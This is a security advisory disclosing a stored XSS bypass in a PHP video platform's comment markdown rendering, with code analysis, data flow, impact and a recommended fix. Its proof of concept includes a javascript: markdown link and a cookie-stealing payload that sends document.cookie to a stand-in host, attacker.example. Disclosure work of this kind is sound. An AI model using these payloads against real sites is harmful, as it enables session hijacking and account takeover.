CVE-2026-33500

Description

## Summary The fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `<a>` and `<img>` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. ## Details The original fix (commit `ade348ed6`) enabled `setSafeMode(true)`, which activated Parsedown's built-in URL scheme filtering. This was then replaced by commit `f13587c59` with a custom approach that turned safeMode back off: **`objects/functionsSecurity.php:442-446` — safeMode disabled:** ```php function markDownToHTML($text) { $parsedown = new ParsedownSafeWithLinks(); $parsedown->setSafeMode(false); // line 445 — disables Parsedown's built-in javascript: filtering $parsedown->setMarkupEscaped(false); $html = $parsedown->text($text); ``` **`ParsedownSafeWithLinks` (lines 349-440)** overrides `blockMarkup()` and `inlineMarkup()` to sanitize raw HTML `<a>` tags via `sanitizeATag()`, which whitelist-checks the URL scheme: ```php // sanitizeATag() at line 360 — only allows http(s), mailto, /, # if (preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $url)) { $href = ' href="' . htmlspecialchars($url, ENT_QUOTES) . '"'; } ``` However, this sanitization only runs for **raw HTML** `<a>` tags processed through `inlineMarkup()`. Markdown-syntax links (`[text](url)`) are handled by Parsedown's core `inlineLink()` method (`vendor/erusev/parsedown/Parsedown.php:1258`), which constructs an element array and passes it to `element()`. **`vendor/erusev/parsedown/Parsedown.php:1470-1475` — sanitiseElement only runs when safeMode is true:** ```php protected function element(array $Element) { if ($this->safeMode) // false — so sanitiseElement() is never called { $Element = $this->sanitiseElement($Element); } ``` `sanitiseElement()` would have called `filterUnsafeUrlInAttribute()` which replaces `:` with `%3A` for non-whitelisted schemes like `javascript:`, but it is never invoked. **Data flow:** 1. User posts comment containing `[Click here](javascript:alert(document.cookie))` 2. `xss_esc()` applies `htmlspecialchars()` — no HTML special chars exist in the payload, stored unchanged 3. On retrieval, `xss_esc_back()` reverses encoding (no-op), then `markDownToHTML()` converts markdown to `<a href="javascript:alert(document.cookie)">Click here</a>` 4. Result stored in `commentWithLinks` (`objects/comment.php:420`) 5. Rendered directly in DOM via template at `view/videoComments_template.php:15`: `<p>{commentWithLinks}</p>` ## PoC 1. Log in as any user with comment permission 2. Navigate to any video page 3. Post a comment with the following markdown: ``` [Click here for more info](javascript:alert(document.cookie)) ``` 4. The comment is saved and rendered. Any user viewing the video sees "Click here for more info" as a clickable link 5. Clicking the link executes `alert(document.cookie)` in the victim's browser context For session hijacking: ``` [See related video](javascript:fetch('https://attacker.example/steal?c='+document.cookie)) ``` ## Impact - **Session hijacking:** Attacker can steal session cookies of any user (including admins) who clicks the comment link, leading to full account takeover - **Scope change (S:C):** The XSS executes in the context of the viewing user's session, crossing the trust boundary from the attacker's low-privilege comment context - **Persistence:** The payload is stored in the database and triggers for every user who views the page and clicks the link - **UI:R required:** The victim must click the link, which limits the severity vs. auto-executing XSS ## Recommended Fix Override `inlineLink()` in `ParsedownSafeWithLinks` to apply URL scheme filtering to markdown-generated links: ```php class ParsedownSafeWithLinks extends Parsedown { // ... existing code ... protected function inlineLink($Excerpt) { $Link = parent::inlineLink($Excerpt); if ($Link === null) { return null; } $href = $Link['element']['attributes']['href'] ?? ''; // Apply the same whitelist as sanitizeATag: only allow http(s), mailto, relative, anchors if ($href !== '' && !preg_match('/^(https?:\/\/|mailto:|\/|#)/i', $href)) { $Link['element']['attributes']['href'] = ''; } return $Link; } } ``` Alternatively, re-enable `safeMode(true)` and find a different approach to allow `<a>` and `<img>` tags (e.g., post-processing the safe output to re-inject whitelisted tags).